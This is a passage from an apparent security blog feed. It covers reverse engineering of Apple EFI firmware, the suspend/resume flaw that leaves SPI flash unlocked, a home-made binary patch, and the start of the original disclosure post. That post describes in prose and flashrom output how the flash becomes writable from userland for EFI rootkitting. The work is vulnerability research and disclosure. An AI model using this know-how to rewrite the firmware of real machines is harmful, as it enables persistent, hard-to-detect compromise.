ASSERT_EFI_ERROR (Status); } } } return Status; } 6 – Building and executing the S3 boot script Most, if not all, boot script content is added by different DXE drivers. The related protocol is EFI_BOOT_SCRIPT_SAVE_PROTOCOL. It publishes two functions, Write and CloseTable.\nThe Write function is used to write the information to a boot script table. The specification allows multiple boot tables but for now only one table is used, EFI_ACPI_S3_RESUME_SCRIPT_TABLE (0x0).\nOne of the disassembly listings above, locate_bootscript_save_protocol, is used to locate this specific protocol. It can be found in all the DXE drivers that use this protocol.\nThe Write function supports a few different opcodes. Each opcode supports different operations and data. The following is an incomplete definition of a few opcodes:\n#define EFI_BOOT_SCRIPT_IO_WRITE_OPCODE 0x00 #define EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE 0x01 #define EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE 0x02 #define EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE 0x03 #define EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE 0x04 #define EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE 0x05 #define EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE 0x06 #define EFI_BOOT_SCRIPT_STALL_OPCODE 0x07 #define EFI_BOOT_SCRIPT_DISPATCH_OPCODE 0x08 EDK2 supports a few more and Apple also implements some custom opcodes. The opcodes can be vendor specific, so they require reversing to understand their purpose. The functions that deal with each opcode are easy to find. For example, the following listing is a common function found in DXE drivers that implements the EFI_BOOT_SCRIPT_IO_WRITE_OPCODE:\n0000000000000289 save_script_io_write_opcode proc near 0000000000000289 0000000000000289 var_20 = qword ptr -20h 0000000000000289 var_18 = qword ptr -18h 0000000000000289 var_10 = qword ptr -10h 0000000000000289 arg_20 = qword ptr 30h 0000000000000289 0000000000000289 push rbp 000000000000028A mov rbp, rsp 000000000000028D sub rsp, 40h 0000000000000291 mov eax, edx 0000000000000293 mov rdx, 800000000000000Eh 000000000000029D mov r10, cs:Boot_Script_Save_Interface 00000000000002A4 test r10, r10 00000000000002A7 jz short loc_2CD 00000000000002A9 mov rdx, [rbp+arg_20] 00000000000002AD mov [rsp+30h], rdx ; *Buffer 00000000000002B2 mov [rsp+28h], r9 ; Count 00000000000002B7 mov [rsp+20h], r8 ; Address 00000000000002BC movzx edx, cx ; TableName (always 0) 00000000000002BF mov rcx, r10 ; *This 00000000000002C2 xor r8d, r8d ; EFI_BOOT_SCRIPT_IO_WRITE_OPCODE 00000000000002C5 mov r9d, eax ; Width 00000000000002C8 call qword ptr [r10] ; EFI_BOOT_SCRIPT_SAVE_PROTOCOL.Write() 00000000000002CB xor edx, edx 00000000000002CD 00000000000002CD loc_2CD: ; CODE XREF: save_script_io_write_opcode+1E 00000000000002CD mov rax, rdx 00000000000002D0 add rsp, 40h 00000000000002D4 pop rbp 00000000000002D5 retn 00000000000002D5 save_script_io_write_opcode endp All the opcode functions are be easily identified by the reference to EFI_BOOT_SCRIPT_SAVE_PROTOCOL and the value on R8 register before the call to Write.\nAs previously described, there is a DXE driver that locates the EFI_ACPI_S3_SAVE_PROTOCOL and executes S3Save to make the boot script ready for S3 resume. This function calls CloseTable that allocates a new memory pool to save the script, returning the physical address for the boot script. As previously described, the script is dynamically built on a normal boot path.\nHow about execution of the boot script?\nThe S3 boot script execution is initialized by the DXE IPL (Initial Program Load). This is the last binary executed in the PEI phase and if a S3 boot script exists it will follow that special boot path instead of the normal path. This is done by locating EFI_PEI_S3_RESUME_PPI:\n#define EFI_PEI_S3_RESUME_PPI_GUID { 0x4426CCB2, 0xE684, 0x4a8a, 0xAE, 0x40, 0x20, 0xD4, 0xB0, 0x25, 0xB7, 0x10} typedef struct _EFI_PEI_S3_RESUME_PPI { EFI_PEI_S3_RESUME_PPI_RESTORE_CONFIG S3RestoreConfig; } EFI_PEI_S3_RESUME_PPI; Parameters S3RestoreConfig Restores the platform to its preboot configuration for an S3 resume and jumps to the OS waking vector. The S3RestoreConfig function is responsible for locating the S3 boot script, other necessary information and trigger the boot script execution via another PPI, EFI_PEI_BOOT_SCRIPT_EXECUTE_PPI:\n#define EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI_GUID { 0xabd42895, 0x78cf, 0x4872, 0x84, 0x44, 0x1b, 0x5c, 0x18, 0x0b, 0xfb, 0xff } typedef EFI_STATUS (EFIAPI *EFI_PEI_BOOT_SCRIPT_EXECUTE)( IN EFI_PEI_SERVICES **PeiServices, IN EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI *This, IN EFI_PHYSICAL_ADDRESS Address, IN EFI_GUID *FvFile OPTIONAL ); typedef struct _EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI { EFI_PEI_BOOT_SCRIPT_EXECUTE Execute; } EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI; For a real world implementation and reversing check Cr4sh’s blog post.\nAfter the boot script is executed with EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI.Execute(), control is transfered to the OS waking vector and execution resumes at the operating system level.\nThe Dark Jedi vulnerability exploits this phase. The vulnerability exists because the boot script is saved into unprotected physical memory. This memory can be found and modified from a kernel extension. When the machine comes back from sleep the modified boot script is executed and malicious code can be run at firmware level. The flash memory can be written because the lock protections are never restored. It should be noticed that all Macs are still vulnerable to this specific attack (to be presented by Trammel Hudson, Xeno Kovah, and Corey Kallenberg at next BlackHat/Defcon).\n7 – Finding the vulnerability The PPI and Protocol GUIDs allow us to track all the binaries involved in the S3 boot script. I disassembled every single binary that uses the EFI_BOOT_SCRIPT_SAVE_PROTOCOL. The interesting DXE driver where the vulnerability occurs is the DXE identified with the GUID DE23ACEE-CF55-4FB6-AA77-984AB53DE823. If you lookup this GUID on the web, you will find a very interesting name, PchInitDxe.efi. What is so special about this one? The flash protections are implemented by the PCH (Platform Controller Hub) controller. This controller provides multiple IO functions and different protections for the flash chip. For example, the Flash Configuration Lock-Down (FLOCKDN) is described on PCH documentation as:\n\u0026ldquo;When set to 1, those Flash Program Registers that are locked down by this FLOCKDN bit cannot be written. Once set to 1, this bit can only be cleared by a hardware reset due to a global reset or host partition reset in an Intel® ME enabled system.\u0026rdquo;\nThe Protected Range registers (PRX) can be configured to protect memory ranges of the flash chip itself (not machine RAM). We already saw that there is a writable NVRAM memory region in the flash chip. In practice the protected range registers will write-protect all flash memory except the NVRAM region. There are many other protections available. Please refer to Legbacore presentations for complete descriptions of available protections.\nThe suspend/resume vulnerability makes it possible to write the previously protected flash memory regions because the FLOCKDN bit is set to zero after the suspend/resume cycle. While this could be caused by some hardware failure, the reality is much simpler. What is missing is the boot script information that restores this register configuration. When the machine is put to sleep, the CPU context is lost so the flash memory is unlocked (this is another reason why Dark Jedi attack is possible) until the S3 boot script is executed. If there is no such information saved then the flash will be left unlocked, making it vulnerable to writes from the operating system level.\nHow does it look like the code to save the information of this FLOCKDN register?\n// // SPI Flash Programming Guide Section 5.5.1 Flash Configuration Lockdown // It is strongly recommended that BIOS sets the Host and GbE Flash Configuration Lock-Down (FLOCKDN) // bits (located at SPIBAR + 04h and MBAR + 04h respectively) to 1 on production platforms // MmioOr16 ((UINTN) (RootComplexBar + R_PCH_SPI_HSFS), (UINT16) (B_PCH_SPI_HSFS_FLOCKDN)); SCRIPT_MEM_WRITE ( EFI_ACPI_S3_RESUME_SCRIPT_TABLE, EfiBootScriptWidthUint16, (UINTN) (RootComplexBar + R_PCH_SPI_HSFS), 1, (VOID *) (UINTN) (RootComplexBar + R_PCH_SPI_HSFS) ); R_PCH_SPI_HSFS value is 0x3804. This makes it easier to track down the location where this code (or something like it) might be implemented. We know that newer machines are not vulnerable so let’s start by trying to locate this code on those models. The following disassembly listing is the equivalent to above’s code found on MacBook Pro Retina 11,1 firmware:\n000000000000519F lea edi, [rbx+3804h] ; R_PCH_SPI_HSFS 00000000000051A5 mov [rbp-0BCh], ebx 00000000000051AB mov rcx, rdi ; Address 00000000000051AE mov edx, 8000h ; B_PCH_SPI_HSFS_FLOCKDN 00000000000051B3 00000000000051B3 loc_51B3: ; CODE XREF: PchInitBeforeBoot+7BF 00000000000051B3 call MmioOr16 ; MmioOr16 ((UINTN) (RootComplexBar + R_PCH_SPI_HSFS), (UINT16) (B_PCH_SPI_HSFS_FLOCKDN)); 00000000000051B8 00000000000051B8 loc_51B8: ; CODE XREF: PchInitBeforeBoot+75E 00000000000051B8 mov [rbp-0D8h], r15d 00000000000051BF mov [rsp+20h], rdi ; buffer 00000000000051C4 xor ecx, ecx ; tableName 00000000000051C6 mov edx, 1 ; width = EfiBootScriptWidthUint16 00000000000051CB mov r8, rdi ; address 00000000000051CE mov r9d, 1 ; count 00000000000051D4 call save_mem_write_opcode This explains why the newer machines are not vulnerable. The FLOCKDN information is being saved to the boot script. The same code (or variant) can’t be found on vulnerable machines firmware. From this we can conclude that the vulnerability is definitely due to flawed boot script information. Apple failed to implement Intel’s recommendation regarding the flash protections and fails to save it to the boot script on vulnerable machines.\nTrammell was kind enough to send me the boot script output between a 10,1 and 11,2 Retina Macs (latest CHIPSEC added support for this but still has some problems with Macs).\nRetina 10,1: MEM_WRITE: Width=2 Count=1 Address=00000000fed1f8c0 Data=00000007 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f890 Data=f94000c0 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f894 Data=3c6c0606 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f898 Data=0103029f MEM_WRITE: Width=2 Count=1 Address=00000000fed1f89c Data=ffd82005 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f8c8 Data=00002005 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f8c4 Data=00800000 Retina 11,2: MEM_WRITE: Width=2 Count=1 Address=00000000fed1f890 Data=f94204c0 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f894 Data=3c6c0606 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f898 Data=0103029f MEM_WRITE: Width=2 Count=1 Address=00000000fed1f89c Data=ffd82005 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f8c4 Data=80002045 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f8c8 Data=00000000 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f8c0 Data=0000000f MEM_WRITE: Width=2 Count=1 Address=00000000fed1f874 Data=80010000 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f878 Data=860f0190 MEM_WRITE: Width=2 Count=1 Address=00000000fed1f87c Data=9fff0632 MEM_WRITE: Width=1 Count=1 Address=00000000fed1f804 Data=e008 These values translate to: Retina 10,1: fed1f890 f94000c0 SSFS/SSFC fed1f894 3c6c0606 PREOP/OPTYPE fed1f898 0103029f OPMENU fed1f89c ffd82005 OPMENU+4 fed1f8c8 00002005 UVSCC fed1f8c4 00800000 LVSCC Retina 11,2: fed1f890 f94204c0 SSFS/SSFC fed1f894 3c6c0606 PREOP/OPTYPE fed1f898 0103029f OPMENU fed1f89c ffd82005 OPMENU+4 fed1f8c4 80002045 LVSCC fed1f8c8 00000000 UVSCC fed1f8c0 0000000f ? fed1f874 80010000 PR0 fed1f878 860f0190 PR1 fed1f87c 9fff0632 PR2 fed1f804 e008 HSFS FLOCKDN The boot script output allows us to reach the same conclusion: older machines don’t have the FLOCKDN and Protected Range registers boot script information and there lies the source of the vulnerability.\nTo dump this information you can follow CHIPSEC code. Essentially it’s a matter of locating the ACPI variable and the physical memory address where the boot script is located. To read physical memory the DirectHW.kext can be used.\nAn interesting question is why the difference between Haswell and older platforms?\nThe AMI bios leak can provide us with an hint. Its reference code for Ivy Bridge and Sandy Bridge platforms are codenamed PantherPoint and CougarPoint. Apple’s Haswell DXE drivers have string references about LynxPoint.\nFrom what I could gather, Haswell platform introduced a more complicated power management mode. Apple probably followed Intel’s reference code and this time they were capable to correctly copy and paste the flash locking code.\nThe other possible theory is that Apple knew about this bug, fixed it in Haswell firmware and opted for not patching older systems, a decision that isn’t exactly rare.\n8 – Fixing ourselves the vulnerability Now let’s go for the really interesting and fun part of this post. Once again, can we fix the vulnerability ourselves instead of waiting for Apple?\nThe answer is yes, of course we can. It’s all bits and bytes after all and Thunderstrike has shown us there are no hardware protections involved!\nMost of the necessary code for the fix is described on the last disassembly listing. We need to first call MmioOr16 and then save_mem_write_opcode.\nTo build the fix we need to adapt that code to the target firmware and find space where to insert it.\nBecause there isn’t enough unused space we can use to inject the new code, I have opted for replacing an unused function. More on the target function later on. An alternative could have been to add a new section or expand a section, but that would require another read of PE format (I haven’t messed with PE for more than a decade or so) and I didn’t knew the impacts on UEFITool and EFI itself. Replacing code was the faster alternative. This means that we need to jump to the new code, execute it, execute the original bytes we stole for the jump and resume execution back at the original function where we jumped from. The first jump is placed near a similar area to the non-vulnerable versions.\nThe new code for the latest MacBook Pro Retina 10,1 firmware available is the following:\n0000000000003BC4 lea esi, [r15+3804h] ; RootComplexBar + R_PCH_SPI_HSFS 0000000000003BCB mov rcx, rsi 0000000000003BCE mov edx, 8000h ; B_PCH_SPI_HSFS_FLOCKDN 0000000000003BD3 call sub_1388 ; call MmioOr16 0000000000003BD8 mov [rsp+20h], rsi 0000000000003BDD xor ecx, ecx 0000000000003BDF mov edx, 1 0000000000003BE4 mov r8, rsi 0000000000003BE7 mov r9d, 1 0000000000003BED call sub_2D6 ; call save_mem_write_opcode 0000000000003BF2 mov rax, [rbp+var_50] ; original stolen instruction 0000000000003BF6 mov rcx, [rax+8] ; original stolen instruction 0000000000003BFA jmp loc_1FF4 ; resume execution on original function As you can see it’s rather simple. From the original function code we know that RootComplexBar is stored in R15 and that B_PCH_SPI_HSFS_FLOCKDN value is 0x8000.\nThe next call is to save_mem_write_opcode() function that will add the boot script entry. This is also a matter of reversing code that calls this function and setting the right parameters in registers and stack.\nThe last two MOV instructions are the original ones that were stolen so we could make space for the jump. We resume execution at the next instruction. The original code is:\n0000000000001FE7 E8 3A E3 FF FF call save_script_mem_read_write_opcode 0000000000001FEC 48 8B 45 B0 mov rax, [rbp+var_50] ; jump to fix here 0000000000001FF0 48 8B 48 08 mov rcx, [rax+8] 0000000000001FF4 F6 01 01 test byte ptr [rcx], 1 0000000000001FF7 0F 84 97 01 00 00 jz loc_2194 The modified version:\n0000000000001FE7 E8 3A E3 FF FF call sub_326 0000000000001FEC E9 D3 1B 00 00 jmp loc_3BC4 0000000000001FF1 90 90 90 align 4 0000000000001FF4 0000000000001FF4 loc_1FF4: ; CODE XREF: sub_1DC8+1E32\u0019j 0000000000001FF4 F6 01 01 test byte ptr [rcx], 1 0000000000001FF7 0F 84 97 01 00 00 jz loc_2194 The original target function to hold the fix:\n0000000000003BC4 sub_3BC4 proc near ; CODE XREF: sub_5429+F7 0000000000003BC4 0000000000003BC4 var_20 = qword ptr -20h 0000000000003BC4 var_11 = byte ptr -11h 0000000000003BC4 var_10 = qword ptr -10h 0000000000003BC4 0000000000003BC4 push rbp 0000000000003BC5 mov rbp, rsp 0000000000003BC8 push rsi 0000000000003BC9 sub rsp, 38h 0000000000003BCD mov rsi, rcx 0000000000003BD0 mov [rbp+var_11], 0 0000000000003BD4 mov [rbp+var_10], 1 0000000000003BDC mov rax, cs:RunTimeServices 0000000000003BE3 lea rcx, [rbp+var_11] 0000000000003BE7 mov [rsp+40h+var_20], rcx 0000000000003BEC lea rcx, aDisabledeepsx ; \u0026#34;DisableDeepSX\u0026#34; 0000000000003BF3 lea rdx, dword_9D70 0000000000003BFA lea r9, [rbp+var_10] 0000000000003BFE xor r8d, r8d 0000000000003C01 call qword ptr [rax+48h] ; GetVariable 0000000000003C04 test rax, rax 0000000000003C07 js short loc_3C13 0000000000003C09 mov cl, [rbp+var_11] 0000000000003C0C cmp cl, 1 0000000000003C0F jnz short loc_3C13 0000000000003C11 mov [rsi], cl 0000000000003C13 0000000000003C13 loc_3C13: ; CODE XREF: sub_3BC4+43\u0018j 0000000000003C13 ; sub_3BC4+4B\u0018j 0000000000003C13 add rsp, 38h 0000000000003C17 pop rsi 0000000000003C18 pop rbp 0000000000003C19 retn 0000000000003C19 sub_3BC4 endp This function is called once and references a string called DisableDeepSX which is an EFI variable. It doesn’t appear to be doing anything special so it was a good candidate. We are hacking and experimenting so why not? Failure is part of the process!\nThe last thing we need to do is to remove the call to the original function since that function now contains the fix code. I have also opted for moving 1 into var_35 instead of the original 0 (just because it appears to be a better option).\n0000000000005518 C6 45 CB 01 mov [rbp+var_35], 1 ; modified to move 1 into the variable instead of original 0 000000000000551C 48 8D 4D CB lea rcx, [rbp+var_35] 0000000000005520 90 nop ; NOP the original call 0000000000005521 90 nop 0000000000005522 90 nop 0000000000005523 90 nop 0000000000005524 90 nop 0000000000005525 80 7D CB 00 cmp [rbp+var_35], 0 Everything is now set to test the patch and check if it works.\n9 – Reflashing and a temporarily bricked Retina The next step is to replace the original DXE binary with the patched version. UEFITool is great for this because it will take care of everything. We just need to select the right GUID, go to the compressed binary and replace it with our patched version (use replace body option inside the compressed section for this GUID).\nUEFITool will (re)organize the firmware volume and update all the necessary CRCs. After the new image is ready we can replace it via SPI or use the bug itself together with flashrom.\nA few minutes later the result is\u0026hellip; a black screen. The fans temporarily spin and then shut down. This means that the new bios image has a problem and is unable to boot.\nThe bad image needs to be replaced with the original dump. Always have a working dump before replacing anything!\nWhat is the reason for failure?\nThe first task is to be sure that UEFITool packed everything correctly and the CRCs were valid. Yes, everything is ok here.\nNext step is to assume there is some other kind of checksum or check somewhere else. I made a few tests and for example the boot firmware volume can be modified without bricking the machine (if you noticed there are two boot firmware volumes, one has invalid CRC on a working dump, maybe it’s a backup volume?). This means that if there is another check it should exist only in the DXE phase.\nRead again Thunderstrike presentation notes\u0026hellip; An old unanswered question pops up: what are the last four bytes of the ZeroVector used for?\nTrammell says the last eight bytes change between volumes and firmware versions. We know that the first four are the CRC32 but there is nothing about the remaining four. UEFITool doesn’t change them so it also knows nothing about them.\nWhat do we do? Let’s try to make sense of its value. Could it be a reference to free space or something? Yes, bingo at the first attempt (not kidding!). It’s not the free space but the amount of space used by all the files on each volume. My hint on this was that I previously tested modifying only its value and it also bricked the machine. This means that the value is indeed relevant for something.\nIf you make the difference between the total size of the firmware volume (FVLength field from EFI_FIRMWARE_VOLUME_HEADER) and the volume free space computed by UEFITool we get the value located in the last four bytes of ZeroVector.\nOn this volume we have a full size of 0x30000 bytes and a ZeroVector value of 0x102B0 bytes.\nAnd its free space is 0x1FD50 bytes. The difference between volume full size and free space is 0x30000-0x1FD50 = 0x102B0, the same value found on ZeroVector.\nSince the repacking of the patched binary will slightly modify the free space by a few bytes, that value is wrong and will invalidate the bios image. Compute the new value, fix the header, and recompute the header checksum (CRC16) to the new valid value. Reflash the new image and now it boots!\nThe issue has been reported to UEFITool author and it will be hopefully fixed in the next few weeks. For now you need to manually update the value and header CRC16.\n10 – Does the fix work? The last step of this adventure is to verify if our boot script modification works or not. And the answer is positive, FLOCKDN is now always set to 1 instead of the vulnerable 0. Repeat the suspend/resume cycle a few times to make sure it works and it’s stable. It really works and machine is stable.\nGame over! (well sort of\u0026hellip;)\nWe were able to track down the source of the bug and produce a binary patch for the same bug. It’s not a perfect patch – doesn’t take care of SMRR registers (SMM Range Registers) and misses other flash security features) – but the main goal was to show it is possible and easy to implement. Apple has no excuses to avoid releasing firmware updates for all the vulnerable models.\nAn interesting project would be to develop a fix for the Dark Jedi issue. A good starting point is Intel’s document A Tour Beyond BIOS Implementing S3 Resume with EDKII. It is a paper published a few months before Dark Jedi presentation that describes the issue and proposes a fix. It is rather amusing to read the paper after Dark Jedi was presented since you clearly see Dark Jedi issue there. Hindsight is always 20/20.\n11 – Conclusion This was a long technical post and hopefully a good overall introduction to the EFI/UEFI world. You should read the documentation. It is long but it is overally good and you get a good understanding of the EFI architecture (honestly I like it after you understand how everything fits together).\nWhile I believe the impact to average users is small, it remains a critical issue that can be exploited remotely.\nI also do not regret the full disclosure and 0day release since it seems the only way to pressure vendors to fix firmware issues. There is indeed some risk associated with firmware updates but those risks are much lower than the security risks posed by vulnerabilities at firmware level. Hopefully this attitude will finally change. Dark Jedi can also be remotely exploited, so fixing it is also necessary and can be bundled together with the fix for this vulnerability.\nBig thanks to SentinelOne – this research was part of Sentinel’s OS X Research group (the bug itself wasn’t) – and Trammell, Julien-Pierre, Gualter for their feedback and proof-reading.\n12 – Update Apple just released an update for this bug and Dark Jedi right before this post went public.\nI am very happy to see that Apple moved fast enough to fix both bugs and must congratulate them. It was a bit unexpected! Maybe full disclosure and bad publicity work after all 😉.\nBecause it’s just so fresh I have yet to reverse Apple’s fix. I have some knowledge that they adopted a different strategy mostly because Dark Jedi. This post will be updated sooner or later with information about Apple’s fix.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2015/07/01/reversing-prince-harmings-kiss-of-death/","summary":"The suspend/resume vulnerability disclosed a few weeks ago (named Prince Harming by Katie Moussouris) turned out to be a zero day. While (I believe) its real world impact is small, it is nonetheless a critical vulnerability and (another) spectacular failure from Apple. It must be noticed that firmware issues are not Apple exclusive. For example, Gigabyte ships their UEFI with the flash always unlocked and other vendors also suffer from all kinds of firmware vulnerabilities.","title":"Reversing Prince Harming’s kiss of death"},{"content":"If you are a rootkits fan the latest Chaos Communication Congress (CCC) in 2014 brought us two excellent presentations, Thunderstrike by Trammell Hudson and Attacks on UEFI security, inspired by Darth Venami’s misery and Speed Racer by Rafal Wojtczuk and Corey Kallenberg.\nThe first one was related to the possibility to attack EFI from a Thunderbolt device, and the second had a very interesting vulnerability regarding the (U)EFI boot script table. The greatest thing about the second vulnerability is that it allows to unlock flash protections by modifying the boot script executed after a S3 suspend-resume cycle.\nDmytro Oleksiuk aka Cr4sh released proof of concept code regarding this attack against an Intel DQ77KB motherboard. His very interesting blog post is Exploiting UEFI boot script table vulnerability. You should definitely read it.\nMy interest in EFI has been mostly about unlocking a firmware password that I forgot. While Trammell didn’t release the proof of concept code for Thunderstrike he did release an awesome tool, a SPI Flash reader for Teensy that is extremely fast reading the firmware flash contents (takes a few minutes). This was a great improvement versus BusPirate which took hours to just read the flash memory. Months before I tried to get into EFI world but the BusPirate was so slow it was impossible to use it for trial and error testing. The new tool got my interest back into EFI. Anyway, enough bla bla.\nTrammell on his presentation mentioned the possiblity that Macs could also be vulnerable to the Dark Jedi attack. After Cr4sh blog post I decided to give it a try and explore the same attack.\nThe attack requires you to reverse the boot script implementation, which is a royal pain in the ass. EFI binaries are a bit annoying to reverse even with the assistance of Snare’s EFI utils. IDA also has some bugs regarding EFI binaries.\nWhile doing some experiments with flashrom I finally noticed something big. I couldn’t believe it the first time so I tried it in other Macs and it was indeed true. Macs have an even bigger hole than Dark Jedi.\nDrum roll\u0026hellip;\nWhat is that hole after all? Is Dark Jedi hard to achieve on Macs?\nNo, it’s extremely easy because Apple does all the dirty work for you. What the hell am I talking about?\nWell, Apple’s S3 suspend-resume implementation is so f*cked up that they will leave the flash protections unlocked after a suspend-resume cycle. !?#$\u0026amp;#%\u0026amp;!#%\u0026amp;!#\nAnd you ask, what the hell does this mean? It means that you can overwrite the contents of your BIOS from userland and rootkit EFI without any other trick other than a suspend-resume cycle, a kernel extension, flashrom, and root access.\nWait, am I saying Macs EFI can be rootkitted from userland without all the tricks from Thunderbolt that Trammell presented? Yes I am! And that is one hell of a hole 😃.\nLet me show you how it happens. The following is the flashrom output of a freshly rebooted MacBook Pro Retina 10,1 running the latest EFI firmware available (this is the firmware that was released to fix Thunderstrike).\nsh-3.2# ./flashrom -r biosdump -V -p internal flashrom v0.9.7-r1711 on Darwin 14.3.0 (x86_64) flashrom is free software, get the source code at http://www.flashrom.org (...) Found chipset \u0026#34;Intel HM77\u0026#34; with PCI ID 8086:1e57. (...) BIOS_CNTL = 0x01: BIOS Lock Enable: disabled, BIOS Write Enable: enabled Root Complex Register Block address = 0xfed1c000 GCS = 0xc21: BIOS Interface Lock-Down: enabled, Boot BIOS Straps: 0x3 (SPI) Top Swap : not enabled SPIBAR = 0xfed1c000 + 0x3800 0x04: 0xe008 (HSFS) HSFS: FDONE=0, FCERR=0, AEL=0, BERASE=1, SCIP=0, FDOPSS=1, FDV=1, FLOCKDN=1 Warning: SPI Configuration Lockdown activated. Reading OPCODES... done 0x06: 0x0004 (HSFC) HSFC: FGO=0, FCYCLE=2, FDBC=0, SME=0 0x50: 0x0000ffff (FRAP) BMWAG 0x00, BMRAG 0x00, BRWA 0xff, BRRA 0xff 0x54: 0x00000000 FREG0: Flash Descriptor region (0x00000000-0x00000fff) is read-write. 0x58: 0x07ff0190 FREG1: BIOS region (0x00190000-0x007fffff) is read-write. 0x5C: 0x018f0001 FREG2: Management Engine region (0x00001000-0x0018ffff) is read-write. 0x74: 0x866f0190 PR0: Warning: 0x00190000-0x0066ffff is read-only. 0x78: 0x9fff0692 PR1: Warning: 0x00692000-0x01ffffff is read-only. Writes have been disabled for safety reasons. You can enforce write support with the ich_spi_force programmer option, but you will most likely harm your hardware! If you force flashrom you will get no support if something breaks. On a few mainboards it is possible to enable write access by setting a jumper (see its documentation or the board itself). 0x90: 0xc0 (SSFS) SSFS: SCIP=0, FDONE=0, FCERR=0, AEL=0 0x91: 0xf94000 (SSFC) SSFC: SCGO=0, ACS=0, SPOP=0, COP=0, DBC=0, SME=0, SCF=1 0x94: 0x0606 (PREOP) 0x96: 0x3c6c (OPTYPE) 0x98: 0x0103029f (OPMENU) 0x9C: 0xffd82005 (OPMENU+4) 0xA0: 0x00000000 (BBAR) 0xC4: 0x00800000 (LVSCC) LVSCC: BES=0x0, WG=0, WSR=0, WEWS=0, EO=0x0, VCL=1 0xC8: 0x00002005 (UVSCC) UVSCC: BES=0x1, WG=1, WSR=0, WEWS=0, EO=0x20, VCL=0 0xD0: 0x00000000 (FPB) (...) What we can see here is that the flash lockdown is active (FLOCKDN=1) and that the BIOS region is mostly read-only. The hole that is writable is the NVRAM portion that is necessary for setting boot options, crash logs and so on. The addresses where EFI binaries are located are locked down by the flash protections (PR0/PR1). The Dark Jedi attack would allow to unlock these areas and make them writable.\nAfter I close the MacBook and let it sleep for a few seconds (30 seconds or something is best, sometimes it doesn’t work and needs to sleep some extra time), we get the following flashrom output after waking up the machine:\nsh-3.2# ./flashrom -r biosdump2 -V -p internal flashrom v0.9.7-r1711 on Darwin 14.3.0 (x86_64) flashrom is free software, get the source code at http://www.flashrom.org (...) Found chipset \u0026#34;Intel HM77\u0026#34; with PCI ID 8086:1e57. (...) BIOS_CNTL = 0x01: BIOS Lock Enable: disabled, BIOS Write Enable: enabled Root Complex Register Block address = 0xfed1c000 GCS = 0xc21: BIOS Interface Lock-Down: enabled, Boot BIOS Straps: 0x3 (SPI) Top Swap : not enabled SPIBAR = 0xfed1c000 + 0x3800 0x04: 0x6008 (HSFS) HSFS: FDONE=0, FCERR=0, AEL=0, BERASE=1, SCIP=0, FDOPSS=1, FDV=1, FLOCKDN=0 Programming OPCODES... done 0x06: 0x0004 (HSFC) HSFC: FGO=0, FCYCLE=2, FDBC=0, SME=0 0x50: 0x0000ffff (FRAP) BMWAG 0x00, BMRAG 0x00, BRWA 0xff, BRRA 0xff 0x54: 0x00000000 FREG0: Flash Descriptor region (0x00000000-0x00000fff) is read-write. 0x58: 0x07ff0190 FREG1: BIOS region (0x00190000-0x007fffff) is read-write. 0x5C: 0x018f0001 FREG2: Management Engine region (0x00001000-0x0018ffff) is read-write. 0x90: 0xc0 (SSFS) SSFS: SCIP=0, FDONE=0, FCERR=0, AEL=0 0x91: 0xf94000 (SSFC) SSFC: SCGO=0, ACS=0, SPOP=0, COP=0, DBC=0, SME=0, SCF=1 0x94: 0x5006 (PREOP) 0x96: 0x463b (OPTYPE) 0x98: 0x05d80302 (OPMENU) 0x9C: 0xc79f0190 (OPMENU+4) 0xA0: 0x00000000 (BBAR) 0xC4: 0x00800000 (LVSCC) LVSCC: BES=0x0, WG=0, WSR=0, WEWS=0, EO=0x0, VCL=1 0xC8: 0x00002005 (UVSCC) UVSCC: BES=0x1, WG=1, WSR=0, WEWS=0, EO=0x20, VCL=0 0xD0: 0x00000000 (FPB) (...) This time we have FLOCKDN=0 and the protected range registers (PR0/PR1) without any contents. The flash is unlocked and now you can use flashrom to update its contents from userland, including EFI binaries. It means Thunderstrike like rootkit strictly from userland.\nWhich Macs are vulnerable to this?\nI have tested against a MacBook Pro Retina 10,1, a MacBook Pro 8,2, and a MacBook Air 5,1, all running latest EFI firmware available. And every single one is vulnerable. The Late 2013 Mac Pro (aka Trashcan), MacBook Pro 9,1 are also tested to be vulnerable.\nIt appears that latest MacBook models are not vulnerable but I’m not 100% sure about this. I couldn’t fully test it on a recent model (the owner was afraid of giving me root access). The first impression was that the bug was silently fixed by Apple but this requires extensive testing to be sure (or some EFI binary disassembling).\nI expect all mid/late 2014 machines and newer to not be vulnerable. Apple either fixed it by accident or they know about it. It’s not something you just fix by accident, just sayin’.\nI’m pretty sure Apple is aware of the bug or at least it would be quite irresponsible from them to not test if their BIOS implementation was vulnerable to the Dark Jedi attack. I had no issues doing PoC tests with it but definitely needs other people to test it out (at least to find which other Macs are vulnerable).\nHow can you protect yourself from this?\nDo not let your computer sleep and always shutdown it.\nYou should also email Apple and demand firmware security fixes for this bug and others to be presented at Defcon 23 – ThunderStrike 2: Sith Strike.\nThis is not full protection since the full Dark Jedi is most probably still possible to execute. The only real fix is Apple to update the firmware.\nUnfortunately I never finished reversing the S3 suspend-resume EFI binaries so I can’t show exactly where the bug is inside the code. It requires some improvements to current EFI reversing tools and other matters got higher priority than this.\nThere is also something funny. Flashrom requires DirectHW.kext to work. The funny thing is that this kext is on Apple’s exception list so no kext signature is required to load this one on Mavericks/Yosemite.\nOh, is this irresponsible disclosure? Well I’m pretty sure Apple knows about this one but I could be very wrong. I’m confident Corey and Trammell disclosed this one to Apple and they will discuss it on their upcoming Defcon talk. If I’m wrong I just wasted a nice and 